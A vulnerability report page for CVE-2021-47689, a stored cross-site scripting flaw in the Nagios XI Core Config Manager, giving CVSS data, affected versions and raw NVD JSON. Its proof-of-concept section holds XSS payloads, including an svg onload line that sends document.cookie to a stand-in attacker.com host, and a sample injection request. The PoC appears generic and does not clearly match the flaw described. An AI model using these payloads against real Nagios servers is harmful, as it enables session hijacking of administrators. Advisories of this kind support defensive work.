Security Vulnerability Report
中文
CVE-2021-47689 CVSS 5.4 MEDIUM

CVE-2021-47689

Published: 2025-10-30 22:15:40
Last Modified: 2025-11-06 18:20:38

Description

The Core Config Manager (CCM) in Nagios XI versions prior to CCM 3.1.0 / Nagios XI 5.8.0 contais a cross-site scripting (XSS) vulnerability in the Templates pages, specifically in the UI logic that renders and handles the Active/Actions buttons. Insufficient validation or escaping of user-supplied input may allow an attacker to inject and execute arbitrary script in the context of a victim's browser.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:nagios:nagios_xi:*:*:*:*:*:*:*:* - VULNERABLE
Nagios XI < 5.8.0
CCM < 3.1.0
Nagios XI 5.7.x 及更早版本
Nagios XI 5.6.x 及更早版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2021-47689 PoC: Stored XSS in Nagios XI CCM Templates --> <!-- Steps: --> <!-- 1. Login to Nagios XI with low-privilege user --> <!-- 2. Navigate to: Admin > CCM > Manage Templates --> <!-- 3. Create or Edit a template --> <!-- 4. Inject XSS payload in template name/description field --> <!-- 5. Save the template --> <!-- 6. Any user viewing the template list will trigger the XSS --> <!-- Payload Example 1: Script tag --> <script>alert(document.cookie)</script> <!-- Payload Example 2: Event handler --> <img src=x onerror=alert('XSS')> <!-- Payload Example 3: Inline JavaScript --> <svg onload=fetch('http://attacker.com?c='+document.cookie)> <!-- HTTP Request Example (if stored in template name): --> <!-- POST /nagiosxi/includes/components/ccm/templates.php HTTP/1.1 --> <!-- ... --> <!-- template_name=<script>alert(document.cookie)</script>&action=save -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2021-47689", "sourceIdentifier": "[email protected]", "published": "2025-10-30T22:15:40.117", "lastModified": "2025-11-06T18:20:38.147", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Core Config Manager (CCM) in Nagios XI versions prior to CCM 3.1.0 / Nagios XI 5.8.0 contais a cross-site scripting (XSS) vulnerability in the Templates pages, specifically in the UI logic that renders and handles the Active/Actions buttons. Insufficient validation or escaping of user-supplied input may allow an attacker to inject and execute arbitrary script in the context of a victim's browser."}, {"lang": "es", "value": "El Core Config Manager (CCM) en Nagios XI versiones anteriores a CCM 3.1.0 / Nagios XI 5.8.0 contiene una vulnerabilidad de cross-site scripting (XSS) en las páginas de Plantillas, específicamente en la lógica de la interfaz de usuario (UI) que renderiza y gestiona los botones Activo/Acciones. Validación o escape insuficiente de la entrada proporcionada por el usuario puede permitir a un atacante inyectar y ejecutar scripts arbitrarios en el contexto del navegador de una víctima."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nagios:nagios_xi:*:*:*:*:*:*:*:*", "versionEndExcluding": "5.8.0", "matchCriteriaId": "5C5E0E33-4BD8-4FFE-9DF3-DB42D84495CB"}]}]}], "references": [{"url": "https://www.nagios.com/changelog/nagios-xi/", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://www.vulncheck.com/advisories/nagios-xi-ccm-xss-via-templates-pages", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}